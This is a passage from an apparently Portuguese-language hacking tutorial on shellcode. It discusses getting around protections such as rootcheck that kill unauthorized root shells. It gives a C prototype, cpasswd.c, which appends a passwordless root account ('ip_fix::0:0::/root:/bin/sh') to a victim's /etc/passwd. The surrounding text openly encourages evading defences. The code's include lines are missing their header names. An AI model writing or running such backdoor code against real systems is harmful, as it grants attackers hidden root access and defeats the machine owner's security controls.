Liber 000 - Astrum Argentum

haverá certos casos que existirão programas que não permitirão a
obtenção de shell através de ataques básicos como buffer overflow
(stack) e teremos que ser criativos para burlamos. Enfim, cada caso é um
caso! Nem sempre as coisas são o que parecem ser, então teremos que
ter uma grande malícia para burlar determinados sistemas de
proteção como o rootcheck, por exemplo, que ao obtermos uma root
shell não autorizada, o próprio irá killar o processo em que estamos.
Ohhh!!! Será o fim??? Claro que não!!! Programas desse gênero derruba
quem obtém uma root shell atráves de shellcodes como o acima, mas
não existe apenas uma maneira de conseguirmos acesso root, como
conseguiremos então?
Pense o seguinte: Sabemos escrever na tela, o que nos impede de
escrevermos em arquivos? Sabendo disso, nada nos impede de
adicionarmos um usuário com privilégios root no /etc/passwd da
vítima!!! Devolta aos protótipos!!! :D
shellcode/cpasswd.c
/*
* Protótipo de shellcode em C.
* Adiciona um usuário com premissões root.
* by IP_FIX .
* MotdLabs .
* Compilação: # gcc -o cpasswd cpasswd.c
*/
#include
#include
#include
main() {
/* Declaramos passwd como um inteiro. */
int passwd;
/* Usamos open para abrir o arquivo; atenção nas flags!!!
* O_RDWR: Read and Write/Leitura e Escrita.
* O_APPEND: O ponteiro será apontado no fim do arquivo.
*/
/* passwd = open("/etc/passwd",O_RDWR|O_APPEND); */
passwd = open("/etc/passwd",1026);
/* Após aberto, escrevemos nossa string no arquivo desejado. */
/* write(passwd,"\nip_fix::0:0::/root:/bin/sh\n",strlen
("\nip_fix::0:0::/root:/bin/sh\n")); */
write(passwd,"\nip_fix::0:0::/root:/bin/sh\n",30);
/* Sai livremente. */
exit(0);
}
shellcode/cpasswd.c
84